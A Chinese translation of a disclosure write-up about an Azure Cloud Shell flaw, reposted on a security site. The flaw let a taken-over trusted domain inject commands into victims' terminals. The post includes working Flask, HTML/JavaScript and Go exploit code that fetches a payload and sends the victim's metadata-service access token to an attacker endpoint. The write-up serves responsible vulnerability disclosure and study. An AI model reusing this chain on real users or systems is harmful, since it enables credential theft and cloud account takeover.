Azure Cloud Shell 命令注入窃取用户的访问令牌

渗透技巧 2年前 (2022) admin
698 0 0


本文为译文,原文链接https://blog.lightspin.io/azure-cloud-shell-command-injection-stealing-users-access-tokens


Azure Cloud Shell 是一种交互式、经过身份验证、浏览器可访问的 shell,用于管理 Azure 资源。这篇文章描述了我如何接管 Azure Cloud Shell 受信任域并利用它在其他用户的终端中注入和执行命令。使用执行的代码,我访问了终端附加的元数据服务,并获得了用户的访问令牌。此访问令牌为攻击者提供受害者用户的 Azure 权限,并使他们能够代表其执行操作。


该漏洞已报告给 Microsoft,后者随后修复了该问题。



Cloud Shell 跨域通信


Cloud Shell控制台作为HTML iframe元素嵌入到Azure Portal中。


Azure Cloud Shell 命令注入窃取用户的访问令牌


嵌入式iframe的源URL为:

https://ux.console.azure.com?region=westeurope&trustedAuthority=https%3A%2F%2Fportal.azure.com&l=en.en-us&feature.azureconsole=true

上面的URL中有两个有趣的地方需要注意:

1、嵌入式iframe的域是ux.console.azure.com,这与父窗口portal.azure.com的域不同。因为这是两个不同的源,所以它们之间应该有信任,可以通过JavaScript进行通信。

2、请求参数trustedAuthority可能是两个不同源之间这种信任的一部分。trustedAuthority参数的值是https://portal.azure.com,它与嵌入窗口的起源相匹配。

如果trustedAuthority参数在某种程度上是两个不同源之间信任的一部分,那么ux.console.azure.com应该使用它。让我们看一下ux.console.azure.com的JavaScript文件。

Azure Cloud Shell 命令注入窃取用户的访问令牌

我将开始看main.js和搜索“trustedAuthority”。下图显示了匹配。

Azure Cloud Shell 命令注入窃取用户的访问令牌


trustedAuthority请求参数值被分配给trustedParentOrigin变量。trustedParentOrigin变量稍后在isTrustedOrigin函数中用作起源检查的一部分。

Azure Cloud Shell 命令注入窃取用户的访问令牌


isTrustedOrigin函数在名为allowedparentframeauthority的固定可信域列表中搜索trustedAuthority域。allowedparentframeauthorslist的值是:

var allowedParentFrameAuthorities = ["localhost:3000", "localhost:55555", "localhost:6516", "azconsole-df.azurewebsites.net", "cloudshell-df.azurewebsites.net", "portal.azure.com", "portal.azure.us", "rc.portal.azure.com", "ms.portal.azure.com", "docs.microsoft.com", "review.docs.microsoft.com", "ppe.docs.microsoft.com", "shell.azure.com", "ms.shell.azure.com", "rc.shell.azure.com", "testappservice.azurewebsites.us", "ux.console.azure.us", "admin-local.teams.microsoft.net", "admin-ignite.microsoft.com", "wusportalprv.office.com", "portal-sdf.office.com", "ncuportalprv.office.com", "admin.microsoft.com", "portal.microsoft.com", "portal.office.com", "admin.microsoft365.com","cloudconsole-ux-prod-usgovaz.azurewebsites.us","cloudconsole-ux-prod-usgovva.azurewebsites.us","admin-sdf.exchange.microsoft.com","admin.exchange.microsoft.com","cloudconsole-ux-prod-usnatwest.appservice.eaglex.ic.gov","cloudconsole-ux-prod-usnateast.appservice.eaglex.ic.gov","portal.azure.eaglex.ic.gov", "cloudconsole-ux-prod-ussecwest.appservice.microsoft.scloud","cloudconsole-ux-prod-usseceast.appservice.microsoft.scloud","portal.azure.microsoft.scloud", "admin-local.teams.microsoft.net", "admin-dev.teams.microsoft.net", "admin-int.teams.microsoft.net", "admin.teams.microsoft.com", "local-prod.portal.azure.com", "preview.portal.azure.com"];


域名“cloudshell-df.azurewebsites.net”被突出显示的原因将在本文后面解释。

isTrustedOrigin检查是在setupParentMessage函数中进行的,该函数在iframe文档准备好时执行。此外,在setuparentmessage函数内部设置了用于跨源通信的postMessage事件监听器和处理程序。

所有这些代码的反向演练可能会让人困惑,所以下面是一个流程图,显示了从打开ux.console.azure.com窗口开始的调用,以帮助可视化过程:

Azure Cloud Shell 命令注入窃取用户的访问令牌


在这种情况下,使用postMessage进行跨源通信是一种已知的方法。为了保证通信的安全,接收消息的监听窗口应该检查触发消息的窗口的来源是否可信。您可以在这里阅读更多关于postMessage方法及其安全性的信息。

我想做的和AzurePortal一样,在HTML iframe中打开ux.console.azure.com。但是因为我只能使用我自己的域,它不包含在allowedparentframeauthorslist中,所以isTrustedOrigin检查将失败。虽然我确实完全控制trustedAuthority参数值,而且我可以使用https://portal.azure.com来通过isTrustedOrigin检查,但由于postMessageHandler函数检查事件起源,因此它将在过程的后面失败。

幸运的是,allowedparentframeauthors可信列表中的一个域是cloudshell-df.azurewebsites.net——这是一个Azure应用程序服务域。


接管Azure应用程序服务域

Azure App Service是一个完全托管的网络托管服务。当你创建一个Azure App Service web应用时,你需要为web应用资源选择一个名称。该名称用于为你的网站生成一个独特的域名,格式为<APP-NAME>.azurewebsites.net。

当我尝试访问https://cloudshell-df.azurewebsites.net时,我收到一个错误的“这个网站不能到达”与“DNS_PROBE_FINISHED_NXDOMAIN”。这个错误意味着“cloudshell-df”应用程序名称在Azure应用程序服务中没有被使用!所以,让我们接受它吧。

下面的截图显示了一个名为“cloudshell-df”的新Azure App Service web应用的成功创建。

Azure Cloud Shell 命令注入窃取用户的访问令牌

Azure Cloud Shell 命令注入窃取用户的访问令牌


创建初始Web应用程序内容


我从创建一个简单的Python Flask应用程序开始,它的index.html页面中只有iframe。

这是服务端app.py的内容:

from flask import Flask, render_templateapp = Flask(__name__)@app.route('/')def index():  print('Request for index page received')return render_template('index.html')if __name__ == '__main__':  app.run()

这是templates/index.html的内容:

<html><iframe class="fxs-console-iframe" id="consoleFrameId" role="document" sandbox="allow-same-origin allow-scripts allow-popups allow-modals allow-forms allow-downloads" frameborder="0" aria-label="Cloud Shell" style="width: 50%; height: 50%;" src="https://ux.console.azure.com?region=westeurope&amp;trustedAuthority=https%3A%2F%2Fcloudshell-df.azurewebsites.net&amp;l=en.en-us&amp;feature.azureconsole=true"></iframe> </html>

使用以下命令部署新的应用程序内容:

az webapp up --name cloudshell-df --logs

这是浏览器生成的应用程序:

Azure Cloud Shell 命令注入窃取用户的访问令牌

它成功地通过了isTrustedOrigin检查。



探索postMessage消息选项


如您所见,shell本身的内容不会自动加载。这是因为shell窗口正在等待其父窗口的postMessage事件来开始创建终端。让我们看看shell控制台期望获得的消息结构。下面是main.js中postMessageHandler函数的内容截图。

Azure Cloud Shell 命令注入窃取用户的访问令牌

第一个检查确保触发postMessage消息事件的源是可信的。因为父窗口域是cloudshelldf.azurewebsites.net,我通过了这个检查。从下面浏览消息数据的代码行中,我们可以理解外部数据结构应该如下所示:

{signature: "portalConsole", type: <TYPE>}

其中<TYPE>可以是四个选项之一:”postToken”, “restart”, “postConfig”或”postCommand”。

显然,“postCommand”选项引起了我的注意,所以我检查了handleCommandInjection函数的内容。

Azure Cloud Shell 命令注入窃取用户的访问令牌


该函数进一步解析事件数据,但是在获得最终完成的命令之后,在第411行中有一个活动会话的检查。如果有一个打开WebSocket连接的活动云Shell终端,我们将有一个活动会话。我们可以尝试从我们的上下文启动这样的会话,但这将是无用的,因为它不会附加受害用户的凭证。“else”部分很有趣——它将命令保存在浏览器的localStorage中。下次从浏览器打开Cloud Shell终端套接字时,将执行来自localStorage的命令。下面的截图显示了从handleSocketOpen函数调用的writeInjectedCommands函数。

Azure Cloud Shell 命令注入窃取用户的访问令牌

为了更好地理解命令的结构,让我们检查handleCommandEvtBody函数的代码,它在另一个JavaScript文件commands.js中。

Azure Cloud Shell 命令注入窃取用户的访问令牌

在不深入了解函数本身的细节的情况下,我们可以看到,我们只能运行一组命令。我将使用wget和go命令。

我最后的postMessage消息内容是:

{signature: "portalConsole",  type: "postCommand",  message: [{name: "wget", args: {value: "https://cloudshell-df.azurewebsites.net/payload.go"}},{name: "go", args: [{value: "run"}, {value: "payload.go"}]}],cliType: "bash"}



升级到Cloud Shell命令注入Payload


回到我的Flask应用程序,我将创建三个端点:

1、@app.route(‘/’)

这个端点将返回index.html页面,其中包含iframe中的Cloud Shell控制台。此外,将会有一个JavaScript发送一个postMessage消息,向localStorage注入以下命令:

wget 'https://cloudshell-df.azurewebsites.net/payload.go'go run payload.go

2、@app.route(‘/payload.go’)

此终端将下载将在受害者的Cloud Shell终端内运行的有效载荷代码。该代码将访问Metadata服务以检索受害者的凭据。然后,该代码将把窃取的凭据发送给攻击者。

3、@app.route(‘/creds’, methods=[‘POST’])

这个端点接受窃取的凭据并记录它们。

这是服务端app.py的内容:

import osfrom flask import Flask, render_template, request, send_from_directoryapp = Flask(__name__)@app.route('/')def index():  print('Request for index page received')return render_template('index.html')@app.route('/payload.go')def payload():return send_from_directory(os.path.join(app.root_path, 'static'),                          'payload.go', mimetype='application/x-binary')@app.route('/creds', methods=['POST'])def creds():  print("Got new creds!")   print(request.data)return "OK"if __name__ == '__main__':  app.run()


这是templates/index.html的内容:

<html><p>This page runs Javascript that injects the localStorage with the payload.</br>You will be redirected soon. Thanks :)</p><iframe class="fxs-console-iframe" id="consoleFrameId" role="document" sandbox="allow-same-origin allow-scripts allow-popups allow-modals allow-forms allow-downloads" frameborder="0" aria-label="Cloud Shell" style="width: 0%; height: 0%;" src="https://ux.console.azure.com?region=westeurope&amp;trustedAuthority=https%3A%2F%2Fcloudshell-df.azurewebsites.net&amp;l=en.en-us&amp;feature.azureconsole=true"></iframe><script>function sendPostMessage() { frame = document.getElementById("consoleFrameId"); frame.contentWindow.postMessage({          signature:"portalConsole",                           type:"postCommand",                           message: [{name: "wget", args: {value: "https://cloudshell-df.azurewebsites.net/payload.go"}}, {name: "go", args: [{value: "run"}, {value: "payload.go"}]}],                           cliType: "bash"}, "*");} setTimeout(function(){ sendPostMessage();     setTimeout(function(){window.location.replace("https://portal.azure.com/#cloudshell/");    }, 1000);}, 2000);</script></html>


这是static/payload.go的内容:

package main 
import ( "fmt""io/ioutil""net/http""bytes")

func main() { client := &http.Client{} req, err := http.NewRequest("GET", "http://localhost:50342/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F", nil) req.Header.Add("Metadata", "true") fmt.Println("Accessing Metadata.") resp, err := client.Do(req) if err != nil { fmt.Println("An Error occured while accessing Metadata.") } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) postBody := bytes.NewBuffer(body) fmt.Println("Sending token.") _, err = http.Post("https://cloudshell-df.azurewebsites.net/creds", "application/json", postBody) if err != nil { fmt.Println("An Error occured while sending token.") }}



完整利用执行


1、受害者访问https://cloudshell-df.azurewebsites.net

2、JavaScript使用postMessage消息将命令注入到localStorage。

Azure Cloud Shell 命令注入窃取用户的访问令牌

3、用户被重定向到https://portal.azure.com/#cloudshell/

4、打开Cloud Shell终端,命令从localStorage写入到终端。

Azure Cloud Shell 命令注入窃取用户的访问令牌


5、Go payload被执行,从Metadata服务获取受害者的凭据,并将其发送给攻击者。Azure Cloud Shell 命令注入窃取用户的访问令牌

6、攻击者从应用程序日志中获取凭据。Azure Cloud Shell 命令注入窃取用户的访问令牌

我向微软安全响应中心(MSRC)报告了该漏洞,微软将“cloudshell-df.azurewebsites.net”从allowedparentframeauthorts列表中删除。Cloud Shell窗口不再信任此域。




时间线

2022年8月20日:向微软安全响应中心(MSRC)报告了漏洞。
2022年8月24日:MSRC确认了该问题并展开调查。MSRC给出了1万美元的赏金。
2022年8月29日:微软发布了补丁。





【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

Azure Cloud Shell 命令注入窃取用户的访问令牌


【相关精选文章】


Azure Cloud Shell 命令注入窃取用户的访问令牌


Azure Cloud Shell 命令注入窃取用户的访问令牌


Azure Cloud Shell 命令注入窃取用户的访问令牌

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


Azure Cloud Shell 命令注入窃取用户的访问令牌

//  火线Zone //

微信号 : huoxian_zone


Azure Cloud Shell 命令注入窃取用户的访问令牌

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):Azure Cloud Shell 命令注入窃取用户的访问令牌

版权声明:admin 发表于 2022年9月26日 下午5:01。
转载请注明:Azure Cloud Shell 命令注入窃取用户的访问令牌 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...